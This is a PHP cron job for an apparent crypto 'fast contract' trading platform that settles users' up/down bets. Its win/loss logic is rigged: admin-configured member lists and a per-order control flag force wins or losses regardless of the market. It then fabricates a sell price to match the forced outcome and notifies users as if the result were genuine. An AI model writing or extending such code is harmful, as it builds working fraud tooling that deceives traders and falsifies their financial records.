<?php

namespace app\command;

use app\framework\lib\Dict;
use app\framework\lib\Redis;
use app\model\FinancialLogModel;
use app\model\LetterModel;
use app\model\MarketModel;
use app\model\OrderModel;
use app\model\MemberCoinModel;
use think\Exception;
use think\facade\Db;
use app\framework\lib\Log;


class Order extends Command // 类名首字母大写，符合PSR规范
{
    // 总控制状态常量
    const GLOBAL_CONTROL_NONE = 0;      // 无总控制
    const GLOBAL_CONTROL_WIN = 1;       // 总控制赢
    const GLOBAL_CONTROL_FAILED = 2;    // 总控制输

    // 订单状态常量
    const STATUS_READY = 1;             // 待处理
    const STATUS_FINISHED = 2;          // 已完成
    const STATUS_CANCELED = -1;         // 已取消

    // 涨跌方向常量
    const RISE = 1;                     // 上涨
    const FALL = 2;                     // 下跌（修正命名，FAIL易混淆）

    // Redis键格式常量（便于维护）
    const REDIS_KLINE_KEY = 'market.%susdt.kline.1sec';

    public $cron = "* */1 * * * *";

    /**
     * 执行订单结算逻辑
     */
    public function run()
    {
        $this->lock();

        try {
            // 分页处理订单，避免大量数据占用内存（仅处理待结算订单）
            OrderModel::where('status', self::STATUS_READY)
                ->chunk(100, function ($orders) { // 每次处理100条
                    foreach ($orders as $order) {
                        $this->processSingleOrder($order);
                    }
                });
        } catch (Exception $e) {
            Log::error("订单批量处理失败: " . $e->getMessage() . "，堆栈: " . $e->getTraceAsString());
        } finally {
            $this->unlock();
        }
    }

    /**
     * 处理单个订单的结算
     * @param OrderModel $order 订单模型实例
     */
    private function processSingleOrder(OrderModel $order)
    {
        try {
            $mid = $order->member_id;
            $buyPrice = $order->buy_price;
            $coinId = $order->market_id;
            $rise = $order->is_rise;
            $orderId = $order->id;
            $num = $order->num;
            $profitPercent = $order->profit_percent;
            $buyTime = $order->buy_time;

            // 计算金额（补充业务注释：22点买入的订单结算时包含本金，其他时间仅计算盈亏）
            $profit = $num * $profitPercent/100;
            $money = (date('H', strtotime($buyTime)) === '22') ? ($num + $profit) : $profit;

            // 获取结算相关价格
            $closePrice = $this->getClosePrice($coinId);
            $hasWin = $this->judgeWinOrLose(
                $order->control,
                $buyPrice,
                $closePrice,
                $rise,
                $mid
            );
            $sellPrice = $this->calculateSellPrice($hasWin, $rise, $buyPrice);

            // 执行结算
            $this->settlement($hasWin, $money, $orderId, $mid, $coinId, $sellPrice);

        } catch (Exception $e) {

            Log::error("订单[ID:{$order->id}]结算失败: " , ['error'=>$e->getMessage(),'sell_price'=>$sellPrice]);
            OrderModel::update([
                'status' => self::STATUS_CANCELED,
                'remark'=>$e->getMessage(),
                'sell_time' => date('Y-m-d H:i:s') // 补充成交时间
            ], ['id' => $orderId]);
        }
    }

    /**
     * 获取币种收盘价
     * @param int $coinId 币种ID
     * @return float 收盘价
     * @throws Exception
     */
    private function getClosePrice(int $coinId): float
    {
        $coin = MarketModel::find($coinId);
        if (!$coin) {
            throw new Exception("币种ID:{$coinId} 不存在");
        }

        $redisKey = sprintf(self::REDIS_KLINE_KEY, $coin->code);
        $redisPrice = Redis::get($redisKey);

        return $redisPrice !== false ? (float)$redisPrice : (float)$coin->close;
    }

    /**
     * 生成随机浮动值（范围：0.010 - 0.099）
     * @return float
     */
    private function generateRandomFloat(): float
    {
        return number_format(rand(1000, 9999) / 100000, 3);
    }

    /**
     * 计算卖出价格
     * @param bool $hasWin 是否盈利
     * @param int $rise 涨跌方向
     * @param float $buyPrice 买入价
     * @return float 卖出价
     */
    private function calculateSellPrice(bool $hasWin, int $rise, float $buyPrice): float
    {
        $rand =getLastNonZeroDecimalInfo($buyPrice);
        if ($hasWin) {
            return $rise === self::RISE
                ? $buyPrice + $rand
                : $buyPrice - $rand;
        } else {
            return $rise === self::RISE
                ? $buyPrice - $rand
                : $buyPrice + $rand;
        }
    }

    /**
     * 判断订单输赢
     * @param int $control 控制类型
     * @param float $buyPrice 买入价
     * @param float $closePrice 收盘价
     * @param int $rise 预测方向（涨/跌）
     * @param int $mid 会员ID
     * @return bool 是否赢
     */
    private function judgeWinOrLose(int $control, float $buyPrice, float $closePrice, int $rise, int $mid): bool
    {
        $dict = Dict::getInstance();
        // 获取指定输赢的会员ID列表（处理空值）
        $lossMids = empty($dict->loss_mid) ? [] : explode(',', $dict->loss_mid);
        $profitMids = empty($dict->profit_mid) ? [] : explode(',', $dict->profit_mid);

        // 优先判断会员是否在指定输赢列表中
        if (in_array($mid, $profitMids, true)) {
            return true;
        }
        if (in_array($mid, $lossMids, true)) {
            return false;
        }

        // 全局控制判断
        switch ($control) {
            case self::GLOBAL_CONTROL_WIN:
                return true;
            case self::GLOBAL_CONTROL_FAILED:
                return false;
            default:
                // 无控制时，根据实际价格判断
                return $rise === self::RISE
                    ? $closePrice > $buyPrice
                    : $closePrice < $buyPrice;
        }
    }

    /**
     * 执行结算操作
     * @param bool $hasWin 是否盈利
     * @param float $money 盈亏金额（含本金情况见业务逻辑）
     * @param int $orderId 订单ID
     * @param int $mid 会员ID
     * @param int $coinId 币种ID
     * @param float $sellPrice 卖出价
     * @throws Exception
     */
    private function settlement(bool $hasWin, float $money, int $orderId, int $mid, int $coinId, float $sellPrice)
    {
        Db::transaction(function () use ($hasWin, $money, $orderId, $mid, $coinId, $sellPrice) {
            // 获取会员币种账户（强制检查，避免后续错误）
            $memberCoin = MemberCoinModel::where([
                'coin_id' => $coinId,
                'member_id' => $mid
            ])->find();
            if (!$memberCoin) {
                throw new Exception("会员[ID:{$mid}]的币种[ID:{$coinId}]账户不存在");
            }

            $beforeAmount = $memberCoin->account_amount;
            $afterAmount = $beforeAmount + ($hasWin ? $money : 0); // 仅盈利时增加金额

            // 盈利时更新账户并记录流水
            if ($hasWin) {
                $memberCoin->setInc('account_amount', $money);
                FinancialLogModel::create([
                    'create_at' => date('Y-m-d H:i:s'),
                    'change_amount' => $money,
                    'before_amount' => $beforeAmount,
                    'after_amount' => $afterAmount,
                    'member_id' => $mid,
                    'flow_type' => 3,
                    'remark' => "合约出售",
                    'coin_id' => $coinId,
                ]);
            }

            // 创建通知
            LetterModel::create([
                'member_id' => $mid,
                'title' => "快速合约交易通知",
                'content' => "快速合约已平仓，" . ($hasWin ? "盈利" : "亏损") . "请及时关注",
                'create_at' => date('Y-m-d H:i:s'),
                'update_at' => date('Y-m-d H:i:s'),
            ]);

            // 更新订单状态
            OrderModel::update([
                'status' => self::STATUS_FINISHED,
                'is_win' => (int)$hasWin,
                'sell_price' => $sellPrice,
                'ploss' => $money,
                'sell_time' => date('Y-m-d H:i:s') // 补充成交时间
            ], ['id' => $orderId]);
        });
    }
}